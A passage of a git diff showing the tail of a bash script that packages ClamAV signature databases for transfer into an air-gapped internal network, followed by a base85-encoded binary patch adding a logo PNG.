clamav:/var/lib/clamav/ + +echo "[3/3] 重启 clamd..." +docker compose -f docker-compose.yml restart clamav + +echo +echo "✓ 导入完成。验证：" +echo " docker compose logs --tail 20 clamav" +echo " 或 curl http://localhost:8443/api/v1/health 看 clamav signature 字段" +EOF + +chmod +x "$WORKDIR/import_clamav_db.sh" + +# 重新打包包含 import 脚本 +tar -czf "$OUTDIR/$OUTFILE" -C "$WORKDIR" . + +echo +echo "✓ 完成：$OUTDIR/$OUTFILE" +echo " 大小：$(du -h "$OUTDIR/$OUTFILE" | cut -f1)" +echo +echo "后续步骤（内网侧）：" +echo " 1. 将 $OUTFILE 从光闸摆渡到内网" +echo " 2. docker compose up -d" +echo " 3. bash import_clamav_db.sh $OUTFILE" diff --git a/static/logo.png b/static/logo.png new file mode 100644 index 0000000000000000000000000000000000000000..698bcf6f574082c59fe3f8124c26b15362ab27f4 GIT binary patch literal 314800 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 